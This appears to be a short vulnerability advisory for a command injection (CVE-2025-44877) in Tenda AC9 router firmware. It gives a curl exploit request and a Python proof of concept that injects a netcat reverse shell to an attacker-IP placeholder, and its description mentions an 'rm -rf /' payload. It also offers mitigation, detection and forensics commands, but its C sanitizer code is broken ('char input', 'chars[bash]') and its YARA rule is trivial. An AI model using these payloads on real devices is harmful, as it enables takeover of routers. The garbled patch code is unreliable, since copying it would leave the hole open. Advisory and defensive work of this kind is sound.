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How the Vulnerability Works
CVE-2025-44877 exploits improper input sanitization in the `formSetSambaConf` function of Tenda AC9 firmware (V15.03.06.42_multi). The `usbname` parameter accepts user-supplied data without proper validation, allowing command injection through crafted HTTP requests. Attackers append malicious commands (e.g., ; rm -rf /) to the Samba share name, which the system executes with root privileges due to insufficient shell metacharacter filtering. This vulnerability is network-exploitable with no authentication required, enabling RCE (Remote Code Execution).
DailyCVE Form
Platform: Tenda AC9
Version: V15.03.06.42_multi
Vulnerability: Command Injection
Severity: Critical
Date: 05/27/2025
Prediction: Patch by 06/15/2025
What Undercode Say:
Exploitation:
curl -X POST "http://<TARGET_IP>/goform/SetSambaConf" --data "usbname=test;reboot"
PoC Python Script:
import requests
target = "192.168.1.1"
payload = "; nc -e /bin/sh <ATTACKER_IP> 4444"
requests.post(f"http://{target}/goform/SetSambaConf", data={"usbname": payload})
Mitigation:
1. Input Sanitization:
// Patch example: Filter metacharacters
void sanitize_input(char input) {
char chars = ";&|><$()";
for (int i = 0; i < strlen(chars); i++) {
remove_char(input, chars[bash]);
}
}
2. Firewall Rules:
iptables -A INPUT -p tcp --dport 80 -s !192.168.1.0/24 -j DROP
3. Workaround: Disable Samba sharing via CLI:
nvram set samba_enable=0 && nvram commit
Detection:
Log Analysis Command:
grep -E "usbname=.[;&|]" /var/log/httpd.log
YARA Rule:
rule tenda_cmd_injection {
strings: $s = "usbname=" nocase
condition: $s and any of them
}
Post-Exploit Analysis:
Check running processes for anomalies: ps aux | grep -i "sh|curl|wget" Extract firmware for forensics: dd if=/dev/mtdblock0 of=/tmp/firmware.bin
Note: Replace ``/`` with actual IPs.
Impact: Full device compromise, data theft, botnet recruitment.
Patch Verification:
strings /bin/httpd | grep "sanitize_input"
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
